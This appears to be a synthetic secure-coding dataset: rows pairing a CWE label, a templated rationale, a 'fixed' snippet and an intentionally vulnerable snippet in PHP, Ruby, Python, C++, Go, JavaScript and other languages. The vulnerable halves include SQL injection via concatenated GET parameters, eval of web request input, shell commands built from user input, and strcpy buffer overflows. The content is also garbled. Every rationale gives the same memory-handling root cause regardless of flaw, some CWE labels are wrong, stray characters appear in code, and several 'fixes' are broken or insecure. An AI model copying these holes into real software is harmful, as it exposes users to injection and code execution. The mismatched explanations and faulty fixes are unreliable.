cyber_6bbaabd604a1 | vulnerability_research_cve | CWE-89 | Write a php code that connects to a MySQL database, selects a specific user from the database based on the username and password provided in the URL parameters, and then prints out the first and last name of the selected user. | Target: php implementation for Write a php code that connects to a MySQL database, selects a specific.
Vulnerability Vector: PHP code can have SQL injection vulnerabilities due to improper use of the `mysq (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
$host = 'localhost';
$user = 'peter';
$pass = 'abc123';
$db = 'my_db';
$con = new mysqli($host, $user, $pass, $db);
if ($con->connect_error) {
die("Connection failed: " . $con->connect_error);
}
$username = $con->real_escape_string($_GET['username']);
$password = $con->real_escape_string($_GET['pass... | <think>
Target: php implementation for Write a php code that connects to a MySQL database, selects a specific.
Vulnerability Vector: PHP code can have SQL injection vulnerabilities due to improper use of the `mysq (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
$con = mysql_connect("localhost","peter","abc123");
if (!$con) {
die('Could not connect: ' . mysql_error());
}
mysql_select_db("my_db", $con);
$username = $_GET['username'];
$password = $_GET['password'];
$sql="SELECT * FROM Persons WHERE UserName='".$username."' and Password='".$password."'";
$resu... | 360 | 0.68 |
cyber_cf4df8281978 | vulnerability_research_cve | CWE-20 | Write a ruby code that creates a class named 'User' with an attribute accessor 'name'. The class should have an 'initialize' method that takes a parameter 'name' and assigns it to an instance variable '@name'. Then, define a method 'welcome_user' that accepts a user object and prints a welcome message using the user's ... | Target: ruby implementation for Write a ruby code that creates a class named 'User' with an attribute .
Vulnerability Vector: Ruby code can be vulnerable to code injection attacks if it directly interpolate (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
class User
attr_accessor :name
def initialize(name)
raise ArgumentError, "Invalid input" unless valid_name?(name)
@name = name
end
private
def valid_name?(name)
/^[a-zA-Z]+$/.match?(name)
end
end
def welcome_user(user)
puts "Welcome #{user.name}!"
end
puts "Enter your name:"
input... | <think>
Target: ruby implementation for Write a ruby code that creates a class named 'User' with an attribute .
Vulnerability Vector: Ruby code can be vulnerable to code injection attacks if it directly interpolate (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```ruby
class User
attr_accessor :name
def initialize(name)
@name = name
end
end
def welcome_user(user)
puts "Welcome #{user.name}!"
end
puts "Enter your name:"
input = gets.chomp
user = User.new(input)
welcome_user(user)
``` | 269 | 0.61 |
cyber_15e61b35fe7b | vulnerability_research_cve | CWE-787 | Write a swift code that creates a class named 'VulnerableBuffer' which has a property 'buffer' of type UInt8 array. The class should have a method 'addData' that takes an array of UInt8 as input. The method should add the input data to the buffer property but only up to a maximum of 1024 elements. If the input data is ... | Target: swift implementation for Write a swift code that creates a class named 'VulnerableBuffer' which.
Vulnerability Vector: A buffer overflow vulnerability can occur when data is written to a buffer beyon (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```swift
import Foundation
class SecureBuffer {
private var buffer: [UInt8] = []
func addData(_ data: [UInt8]) {
let availableSpace = 1024 - buffer.count
let dataToAdd = Array(data.prefix(availableSpace))
buffer.append(contentsOf: dataToAdd)
}
}
let buffer = SecureBuffer()
buf... | <think>
Target: swift implementation for Write a swift code that creates a class named 'VulnerableBuffer' which.
Vulnerability Vector: A buffer overflow vulnerability can occur when data is written to a buffer beyon (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```swift
import Foundation
class VulnerableBuffer {
var buffer: [UInt8] = []
func addData(_ data: [UInt8]) {
let availableSpace = 1024 - buffer.count
let dataToAdd = data.prefix(availableSpace)
buffer.append(contentsOf: dataToAdd)
}
}
let buffer = VulnerableBuffer()
buffer.add... | 277 | 0.86 |
cyber_69492afe5e88 | vulnerability_research_cve | CWE-20 | Write a go code that creates a slice of integers with a length of 3. Assign the values 1 and 2 to the first two elements of the slice. Then try to assign the value 4 to the fourth element of the slice. If you attempt to do this, it will result in an out-of-bounds error because the slice only has three elements. Print t... | Target: go implementation for Write a go code that creates a slice of integers with a length of 3. A.
Vulnerability Vector: The Go language allows for no bounds checking on slices, which can lead to out-o (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import "fmt"
func main() {
mySlice := []int{1, 2}
mySlice = append(mySlice, 4)
fmt.Println(mySlice)
}
``` | <think>
Target: go implementation for Write a go code that creates a slice of integers with a length of 3. A.
Vulnerability Vector: The Go language allows for no bounds checking on slices, which can lead to out-o (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```go
package main
import "fmt"
func main() {
mySlice := make([]int, 3)
mySlice[0] = 1
mySlice[1] = 2
mySlice[3] = 4 // This will cause an out-of-bounds error
fmt.Println(mySlice)
}
``` | 170 | 0.92 |
cyber_3d106fc2e2c6 | vulnerability_research_cve | CWE-20 | Write a kotlin code that creates an abstract class named 'Animal' with a property 'name'. Create two classes 'Dog' and 'Cat' which inherit from 'Animal'. Each of these classes should have an additional property 'breed' and 'color' respectively. In the main function, create a mutable list of type 'Animal' and add object... | Target: kotlin implementation for Write a kotlin code that creates an abstract class named 'Animal' with.
Vulnerability Vector: Improper use of unchecked casts in Kotlin can lead to ClassCastException at runt (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```kotlin
import java.util.*
abstract class Animal(val name: String)
data class Dog(val name: String, val breed: String): Animal(name)
data class Cat(val name: String, val color: String): Animal(name)
fun main() {
val animalList: MutableList<Animal> = LinkedList()
animalList.add(Dog("Rocky", "Bulldog"))
a... | <think>
Target: kotlin implementation for Write a kotlin code that creates an abstract class named 'Animal' with.
Vulnerability Vector: Improper use of unchecked casts in Kotlin can lead to ClassCastException at runt (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```kotlin
import java.util.*
abstract class Animal(val name: String)
data class Dog(val breed: String): Animal(breed)
data class Cat(val color: String): Animal(color)
fun main() {
val animalList: MutableList<Animal> = LinkedList()
animalList.add(Dog("Bulldog"))
animalList.add(Cat("Black"))
for (anima... | 353 | 0.85 |
cyber_f532cc0bcc87 | vulnerability_research_cve | CWE-787 | Write a fortran code that creates a loop that fills a character string buffer with 'A' characters. The buffer size is 10 and the loop iterates from 1 to 20. If the loop index exceeds the buffer size, it will cause a buffer overflow. | Target: fortran implementation for Write a fortran code that creates a loop that fills a character string.
Vulnerability Vector: Buffer Overflow vulnerability in Fortran could occur if the programmer does not (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitiga... | ```fortran
program buffer_overflow
implicit none
integer :: i
character(len=10) :: buffer
do i = 1, 10
buffer(i:i) = 'A'
end do
end program buffer_overflow
``` | <think>
Target: fortran implementation for Write a fortran code that creates a loop that fills a character string.
Vulnerability Vector: Buffer Overflow vulnerability in Fortran could occur if the programmer does not (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation... | ```fortran
program buffer_overflow
implicit none
integer :: i
character(len=10) :: buffer
do i = 1, 20
buffer(i:i) = 'A'
end do
end program buffer_overflow
``` | 174 | 0.79 |
cyber_503ef0791124 | vulnerability_research_cve | CWE-787 | Write a c++ code that includes iostream and cstring libraries. In the main function, declare a character array 'buffer' of size 10. Declare another character array 'input' of size 20 and initialize it with the string "This is a long string". Use the strcpy function to copy the contents of 'input' into 'buffer'. Then pr... | Target: c++ implementation for Write a c++ code that includes iostream and cstring libraries. In the .
Vulnerability Vector: Buffer overflow vulnerability due to incorrect use of `strcpy` function. (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strateg... | ```c++
#include <iostream>
#include <cstring>
int main() {
char buffer[11]; // Increase buffer size by 1 to accommodate null terminator
char input[20] = "This is a long string";
// Use strncpy instead of strcpy to prevent buffer overflow
strncpy(buffer, input, sizeof(buffer));
buffer[sizeof(bu... | <think>
Target: c++ implementation for Write a c++ code that includes iostream and cstring libraries. In the .
Vulnerability Vector: Buffer overflow vulnerability due to incorrect use of `strcpy` function. (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```c++
#include <iostream>
#include <cstring>
int main() {
char buffer[10];
char input[20] = "This is a long string";
strcpy(buffer, input);
std::cout << "Buffer content: " << buffer << std::endl;
return 0;
}
``` | 251 | 0.63 |
cyber_202e644fa820 | vulnerability_research_cve | CWE-20 | Write a python code that defines a function named 'unsafe_function'. This function should ask the user to enter some Python code, then evaluate and execute the entered code using the built-in 'eval' function. | Target: python implementation for Write a python code that defines a function named 'unsafe_function'. T.
Vulnerability Vector: The Python `eval()` function can lead to arbitrary code execution if used with u (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
def safe_function():
user_input = input("Enter some Python code: ")
# Checking if the input contains any potentially harmful characters
if any(char in user_input for char in ['import', 'os', 'sys', 'eval', 'exec', 'open', 'input']):
print("Sorry, this function does not support such operati... | <think>
Target: python implementation for Write a python code that defines a function named 'unsafe_function'. T.
Vulnerability Vector: The Python `eval()` function can lead to arbitrary code execution if used with u (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```python
def unsafe_function():
user_input = input("Enter some Python code: ")
eval(user_input)
unsafe_function()
``` | 257 | 0.43 |
cyber_3832ade55ce2 | vulnerability_research_cve | CWE-20 | Write a java code that takes user input for username and password. If the username is 'admin' and password is 'password', print 'Access granted.' Otherwise, print 'Access denied.' | Target: java implementation for Write a java code that takes user input for username and password. If .
Vulnerability Vector: The use of System.out.println() for debugging purposes can expose sensitive info (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```java
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
System.out.println("Enter your username:");
String username = scanner.nextLine();
System.out.println("Enter your password:");
String passw... | <think>
Target: java implementation for Write a java code that takes user input for username and password. If .
Vulnerability Vector: The use of System.out.println() for debugging purposes can expose sensitive info (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```java
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
System.out.println("Enter your username:");
String username = scanner.nextLine();
System.out.println("Enter your password:");
String passw... | 324 | 0.99 |
cyber_ad147ab771d6 | vulnerability_research_cve | CWE-89 | Write a c# code that takes user input for username and password, then uses these inputs to create a SQL Server connection string. It opens a connection to the SQL Server database using the provided credentials. | Target: c# implementation for Write a c# code that takes user input for username and password, then .
Vulnerability Vector: Improper validation and sanitization of user input can lead to SQL Injection in (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Data.SqlClient;
public class Program
{
static void Main(string[] args)
{
Console.Write("Enter your username: ");
string username = Console.ReadLine();
Console.Write("Enter your password: ");蜜蜂
string password = ReadPassword();
string co... | <think>
Target: c# implementation for Write a c# code that takes user input for username and password, then .
Vulnerability Vector: Improper validation and sanitization of user input can lead to SQL Injection in (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
using System.Data.SqlClient;
public class Program
{
static void Main(string[] args)
{
Console.Write("Enter your username: ");
string username = Console.ReadLine();
Console.Write("Enter your password: ");
string password = Console.ReadLine();
string ... | 514 | 0.45 |
cyber_65896f84a82a | vulnerability_research_cve | CWE-20 | Write a ruby code that uses Sinatra web framework. Define two routes, one for GET request on '/' path and another for POST request on '/calculate'. The GET route should return the string 'Hello, World!' and the POST route should evaluate the expression received in the params hash under the key 'expression'. | Target: ruby implementation for Write a ruby code that uses Sinatra web framework. Define two routes, .
Vulnerability Vector: The 'eval' function in Ruby can lead to code injection attacks if it is used car (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
require 'sinatra'
require 'bigdecimal'
get '/' do
"Hello, World!"
end
post '/calculate' do
# Check if the requested parameter exists
if params[:expression]
# Check if the requested parameter is a valid mathematical expression
if params[:expression] =~ /^[\d\+\-\*\/\.\(\)\s]+$/
# Evaluate t... | <think>
Target: ruby implementation for Write a ruby code that uses Sinatra web framework. Define two routes, .
Vulnerability Vector: The 'eval' function in Ruby can lead to code injection attacks if it is used car (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```ruby
require 'sinatra'
get '/' do
"Hello, World!"
end
post '/calculate' do
eval(params[:expression])
end
``` | 265 | 0.44 |
cyber_dd0453f14ed0 | vulnerability_research_cve | CWE-787 | Write a swift code that defines a function named 'vulnerableFunction' which takes a string parameter 'userInput'. This function should concatenate the string 'hello' with the 'userInput' and return the result. Then, create a string 'userInput' by repeating the character 'A' 1000000000 times. Pass this 'userInput' to th... | Target: swift implementation for Write a swift code that defines a function named 'vulnerableFunction' .
Vulnerability Vector: Swift's string concatenation with non-literal strings can lead to a potential bu (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```swift
import Foundation
func vulnerableFunction(userInput: String) -> String {
let fixedString = "hello"
var result = ""
for _ in 0..<userInput.count {
result += fixedString
}
return result
}
let userInput = String(repeating: "A", count: 1000000000)
let result = vulnerableFunction(userI... | <think>
Target: swift implementation for Write a swift code that defines a function named 'vulnerableFunction' .
Vulnerability Vector: Swift's string concatenation with non-literal strings can lead to a potential bu (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```swift
import Foundation
func vulnerableFunction(userInput: String) -> String {
let fixedString = "hello"
return fixedString + userInput
}
let userInput = "A" * 1000000000
let result = vulnerableFunction(userInput: userInput)
print(result)
``` | 224 | 0.68 |
cyber_73f19a028b68 | vulnerability_research_cve | CWE-787 | Write a go code that creates a byte slice of size 10. Then, in a loop from 0 to 19, convert the first 4 bytes of the byte slice into an integer and set it to the current loop index. Finally, print out the byte slice. | Target: go implementation for Write a go code that creates a byte slice of size 10. Then, in a loop .
Vulnerability Vector: Buffer Overflow vulnerability present in Go when working with unsafe package for (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"encoding/binary"
"fmt"
)
func main() {
b := make([]byte, 10)
for i := 0; i < 20; i++ {
if i < 4 {
binary.LittleEndian.PutUint32(b[i*4:], uint32(i))
}
}
fmt.Println(b)
}
``` | <think>
Target: go implementation for Write a go code that creates a byte slice of size 10. Then, in a loop .
Vulnerability Vector: Buffer Overflow vulnerability present in Go when working with unsafe package for (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import (
"fmt"
"unsafe"
)
func main() {
b := make([]byte, 10)
for i := 0; i < 20; i++ {
*(*int32)(unsafe.Pointer(&b[0])) = int32(i)
}
fmt.Println(b)
}
``` | 226 | 0.75 |
cyber_a5e82fbbb92f | vulnerability_research_cve | CWE-20 | Write a kotlin code that compares two nullable strings 'a' and 'b'. If they are equal, print 'Equal', otherwise print 'Not Equal'. | Target: kotlin implementation for Write a kotlin code that compares two nullable strings 'a' and 'b'. If.
Vulnerability Vector: Kotlin's `==` operator for nullable types does not behave as expected when check (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```kotlin
fun main(args: Array<String>) {
val a: String? = null
val b: String? = null
if (a?.equals(b) == true) {
println("Equal")
} else {
println("Not Equal") inclusion
}
}
``` | <think>
Target: kotlin implementation for Write a kotlin code that compares two nullable strings 'a' and 'b'. If.
Vulnerability Vector: Kotlin's `==` operator for nullable types does not behave as expected when check (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```kotlin
fun main(args: Array<String>) {
val a: String? = null
val b: String? = null
if (a == b) {
println("Equal")
} else {
println("Not Equal")
}
}
``` | 194 | 0.75 |
cyber_476d00080657 | vulnerability_research_cve | CWE-787 | Write a fortran code that creates an array 'arr' of size 21 (-10 to 10 inclusive) and assigns each element in the array from -10 to 10. Then print out the array. | Target: fortran implementation for Write a fortran code that creates an array 'arr' of size 21 (-10 to 10.
Vulnerability Vector: A buffer overflow vulnerability in Fortran can occur from improper array indexin (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitiga... | ```fortran
program main
implicit none
integer, dimension(-10:10) :: arr
integer :: i
do i = -10, 10
arr(i) = i
end do
print*, arr
end program main
``` | <think>
Target: fortran implementation for Write a fortran code that creates an array 'arr' of size 21 (-10 to 10.
Vulnerability Vector: A buffer overflow vulnerability in Fortran can occur from improper array indexin (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation... | ```fortran
program main
implicit none
integer, dimension(:), allocatable :: arr
integer :: i
allocate(arr(-10:10))
do i = -10, 10
arr(i) = i
end do
print*, arr
end program main
``` | 185 | 0.81 |
cyber_9d251154337f | vulnerability_research_cve | CWE-787 | Write a python code that imports the os module, defines a function named 'run_command' which takes an input from the user and executes a command in the system shell. The command is constructed by concatenating the string 'ls -l ' with the user input. Then call the function with a large number of asterisks as the argume... | Target: python implementation for Write a python code that imports the os module, defines a function nam.
Vulnerability Vector: A buffer overflow vulnerability in Python could occur if an attacker can control (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```python
import subprocess
def run_command(user_input):
# Validate the user input
if len(user_input) > 10000000:
raise ValueError("Input too long")
command = ["ls", "-l", user_input]
subprocess.run(command, check=True)
# Call the function with a large number of asterisks as the argument
... | <think>
Target: python implementation for Write a python code that imports the os module, defines a function nam.
Vulnerability Vector: A buffer overflow vulnerability in Python could occur if an attacker can control (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```python
import os
def run_command(user_input):
command = "ls -l " + user_input
os.system(command)
run_command("-" * 10000000)
``` | 239 | 0.54 |
cyber_9ca79d8daedc | vulnerability_research_cve | CWE-78 | Write a java code that connects to a MySQL database, executes a SQL query to fetch data from an 'Employees' table, and prints out the retrieved data. | Target: java implementation for Write a java code that connects to a MySQL database, executes a SQL qu.
Vulnerability Vector: Incorrect handling of resources such as database connections or file streams may (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```java
import java.sql.*;
public class Main {
private static final String DB_URL = "jdbc:mysql://localhost/testdb";
private static final String USER = "username";
private static final String PASS = "password";
public static void main(String[] args) {
try (Connection conn = DriverManager.getCo... | <think>
Target: java implementation for Write a java code that connects to a MySQL database, executes a SQL qu.
Vulnerability Vector: Incorrect handling of resources such as database connections or file streams may (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```java
import java.sql.*;
public class Main {
public static void main(String[] args) {
Connection conn = null;
Statement stmt = null;
try {
// STEP 1: Register JDBC driver
Class.forName("com.mysql.jdbc.Driver");
// STEP 2: Open a connection
... | 380 | 1.53 |
cyber_2be28c3fc247 | vulnerability_research_cve | CWE-20 | Write a javascript code that uses Express.js framework to create a server that listens on port 3000. The server should be able to receive POST requests at '/evaluate' endpoint. For each POST request, it should evaluate the 'expression' field from the request body using JavaScript's built-in eval() function and send bac... | Target: javascript implementation for Write a javascript code that uses Express.js framework to create a ser.
Vulnerability Vector: Incorrect usage of `eval()` function can lead to code injection attacks. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```javascript
const express = require('express');
const app = express();
app.use(express.json());
// A simple regex to validate the expression
// It only allows alphanumeric characters, parentheses, spaces, and basic arithmetic operators
const expressionRegex = /^[\d\+\-\*\/\(\)\.\s]+$/;
app.post('/evaluate', functio... | <think>
Target: javascript implementation for Write a javascript code that uses Express.js framework to create a ser.
Vulnerability Vector: Incorrect usage of `eval()` function can lead to code injection attacks. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
var express = require('express');
var app = express();
app.use(express.json());
app.post('/evaluate', function(req, res){
var result = eval(req.body.expression);
res.send("Result: " + result);
});
app.listen(3000, function(){
console.log('App listening on port 3000');
});
``` | 365 | 0.48 |
cyber_0811aaa6e75d | vulnerability_research_cve | CWE-89 | Write a c# code that connects to a SQL Server database, prompts the user for their username and password, and checks if they exist in the 'Users' table of the database. If the entered credentials match those in the database, print 'Login successful!' on the console. Otherwise, print 'Invalid username or password.' | Target: c# implementation for Write a c# code that connects to a SQL Server database, prompts the us.
Vulnerability Vector: The use of User-Supplied input in dynamic SQL queries without parameterization c (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Data.SqlClient;
public class Program
{
public static void Main()
{
string connectionString = "Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password=myPassword;";
using (SqlConnection connection = new SqlConnection(connectionString))
{
... | <think>
Target: c# implementation for Write a c# code that connects to a SQL Server database, prompts the us.
Vulnerability Vector: The use of User-Supplied input in dynamic SQL queries without parameterization c (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
using System.Data.SqlClient;
public class Program
{
public static void Main()
{
string connectionString = "Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password=myPassword;";
using (SqlConnection connection = new SqlConnection(connectionString))
{
... | 386 | 0.84 |
cyber_f294fb01e2ce | vulnerability_research_cve | CWE-89 | Write a php code that connects to a database and fetches data from a table named 'users' where the id matches the id passed in the URL parameter 'id'. Then display the username of each matching record. | Target: php implementation for Write a php code that connects to a database and fetches data from a t.
Vulnerability Vector: The vulnerability of SQL Injection in PHP can allow an attacker to manipulate yo (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
$conn = new mysqli("localhost", "username", "password", "database");
if($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
if(isset($_GET['id'])) {
$id = $conn->real_escape_string($_GET['id']);
$query = "SELECT * FROM users WHERE id = ?";
$stmt = $conn->prepare($... | <think>
Target: php implementation for Write a php code that connects to a database and fetches data from a t.
Vulnerability Vector: The vulnerability of SQL Injection in PHP can allow an attacker to manipulate yo (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
$conn = mysqli_connect("localhost", "username", "password", "database");
if(isset($_GET['id'])) {
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $query);
while($row = mysqli_fetch_assoc($result)) {
echo $row['username'] . "<br>";
... | 308 | 0.62 |
cyber_8b5fed5d0092 | vulnerability_research_cve | CWE-20 | Write a ruby code that uses the Sinatra web framework. Create a route (or endpoint) that responds to HTTP GET requests at the root URL ('/'). If the request includes a parameter named 'code', evaluate the value of this parameter as Ruby code using the `eval` method. | Target: ruby implementation for Write a ruby code that uses the Sinatra web framework. Create a route .
Vulnerability Vector: The use of `eval` function in Ruby can introduce code injection vulnerabilities (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
require 'sinatra'
require 'secure_eval'
get '/' do
if params[:code]
begin
# Use the secure_eval gem to safely evaluate the user input
# It will raise an exception if the input is not safe
result = SecureEval.safe_eval(params[:code])
result
rescue StandardError => e
"Erro... | <think>
Target: ruby implementation for Write a ruby code that uses the Sinatra web framework. Create a route .
Vulnerability Vector: The use of `eval` function in Ruby can introduce code injection vulnerabilities (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```ruby
require 'sinatra'
get '/' do
eval(params[:code]) if params[:code]
end
``` | 215 | 0.49 |
cyber_80a7dd5eecd7 | vulnerability_research_cve | CWE-20 | Write a swift code that defines a class named 'User' with a variable 'name'. The class should have an optional string property 'name'. Define a function named 'printUserName' that takes an optional 'User' object as a parameter and prints out the name of the user. Create an instance of the 'User' class and pass it to th... | Target: swift implementation for Write a swift code that defines a class named 'User' with a variable '.
Vulnerability Vector: Improper null checking of optional values in Swift can lead to runtime errors if (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```swift
import Foundation
class User {
var name: String?
}
func printUserName(user: User?) {
if let user = user, let name = user.name {
print("User's name is \(name)")
} else {
print("No user or no name available.")
}
}
let user = User()
printUserName(user: user)
``` | <think>
Target: swift implementation for Write a swift code that defines a class named 'User' with a variable '.
Vulnerability Vector: Improper null checking of optional values in Swift can lead to runtime errors if (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```swift
import Foundation
class User {
var name: String?
}
func printUserName(user: User?) {
print("User's name is \(user?.name)")
}
let user = User()
printUserName(user: user)
``` | 205 | 0.68 |
cyber_af71039071df | vulnerability_research_cve | CWE-787 | Write a go code that reads from standard input and prints out what it reads until an error occurs. | Target: go implementation for Write a go code that reads from standard input and prints out what it .
Vulnerability Vector: A buffer overflow vulnerability in Go can occur when data read from an untrusted (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"bufio"
"fmt"
"os"
)
func main() {
scanner := bufio.NewScanner(os.Stdin)
for scanner.Scan() {
fmt.Println(scanner.Text())
}
if err := scanner.Err(); err != nil {
fmt.Fprintln(os.Stderr, "reading standard input:", err)
}
}
``` | <think>
Target: go implementation for Write a go code that reads from standard input and prints out what it .
Vulnerability Vector: A buffer overflow vulnerability in Go can occur when data read from an untrusted (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import (
"fmt"
"os"
)
func main() {
buf := make([]byte, 1024)
for {
n, err := os.Stdin.Read(buf)
if err != nil {
fmt.Println(err)蜜
return
}
fmt.Println(string(buf[:n]))
}
}
``` | 224 | 0.83 |
cyber_bf26e7d64a5c | vulnerability_research_cve | CWE-476 | Write a kotlin code that creates a data class named `User` with properties `name` and `age`. The `age` property is nullable. In the `main` function, create two instances of `User`, one with a name "Alice" and age 25, and another with a name "Bob" and no age specified (null). Print the names of these users. Then, print ... | Target: kotlin implementation for Write a kotlin code that creates a data class named `User` with proper.
Vulnerability Vector: NullPointerException vulnerability in Kotlin could occur if a nullable variable (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```kotlin
data class User(val name: String, val age: Int?)
fun main() {
val user1 = User("Alice", 25)
val user2 = User("Bob", null)
println(user1.name)
println(user2.name)
user1.age?.let { println(it + 1) } ?: println("null")
user2.age?.let { println(it + 1) } ?: println("null")
}
``` | <think>
Target: kotlin implementation for Write a kotlin code that creates a data class named `User` with proper.
Vulnerability Vector: NullPointerException vulnerability in Kotlin could occur if a nullable variable (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```kotlin
data class User(val name: String, val age: Int?)
fun main() {
val user1 = User("Alice", 25)
val user2 = User("Bob", null)
println(user1.name)
println(user2.name)
println(user1.age?.plus(1))
println(user2.age?.plus(1))
}
``` | 240 | 0.75 |
cyber_30a1a03369e6 | vulnerability_research_cve | CWE-787 | Write a fortran code that reads an input string of maximum length 10 and stores it in a variable 'str' of length 5. | Target: fortran implementation for Write a fortran code that reads an input string of maximum length 10 a.
Vulnerability Vector: A buffer overflow vulnerability can occur due to insufficient memory allocation (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitiga... | ```fortran
program main
implicit none
character(len=5) :: str
character(len=10) :: input
read*, input
str = input(1:5)
end program main
``` | <think>
Target: fortran implementation for Write a fortran code that reads an input string of maximum length 10 a.
Vulnerability Vector: A buffer overflow vulnerability can occur due to insufficient memory allocation (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation... | ```fortran
program main
implicit none
character(len=5) :: str
character(len=10) :: input
read*, input
str = input
end program main
``` | 162 | 0.75 |
cyber_2d9adfa79a8d | vulnerability_research_cve | CWE-787 | Write a c++ code that includes two functions. The first function, named 'vulnerable_function', takes a character pointer as an argument. It declares a character array of size 10 and copies the content of the input character pointer into this array using the 'strcpy' function. The second function, named 'main', is the e... | Target: c++ implementation for Write a c++ code that includes two functions. The first function, name.
Vulnerability Vector: A buffer overflow vulnerability in C++ could allow an attacker to execute arbitr (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```c++
#include <iostream>
#include <cstring>
void vulnerable_function(const char* input) {
const size_t bufferSize = 10;
char buffer[bufferSize];
// Using strncpy instead of strcpy to avoid buffer overflow
strncpy(buffer, input, bufferSize - 1);
buffer[bufferSize - 1] = '\0';
}
int main() {
... | <think>
Target: c++ implementation for Write a c++ code that includes two functions. The first function, name.
Vulnerability Vector: A buffer overflow vulnerability in C++ could allow an attacker to execute arbitr (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```c++
#include <iostream>
#include <string.h>
void vulnerable_function(char* input) {
char buffer[10];
strcpy(buffer, input);
}
int main() {
char large_input[20] = "This is a large input";
vulnerable_function(large_input);
return 0;
}
``` | 299 | 0.56 |
cyber_c94d47f50569 | vulnerability_research_cve | CWE-20 | Write a python code that takes user input and executes it as a command in the terminal using the 'subprocess' module. The command should be 'ls' followed by the user input. | Target: python implementation for Write a python code that takes user input and executes it as a command.
Vulnerability Vector: In Python, improper input validation can lead to arbitrary code execution vulner (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
import subprocess
def execute_command(user_input):
# Validate input to prevent command injection
if any(char in user_input for char in [';', '&', '|']):
print("Invalid input. Please enter a valid filename.")
return
command = ['ls', user_input]
try:
output = subpro... | <think>
Target: python implementation for Write a python code that takes user input and executes it as a command.
Vulnerability Vector: In Python, improper input validation can lead to arbitrary code execution vulner (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```python
import os
import subprocess
def execute_command(user_input):
command = 'ls ' + user_input
output = subprocess.check_output(command, shell=True)
print(output)
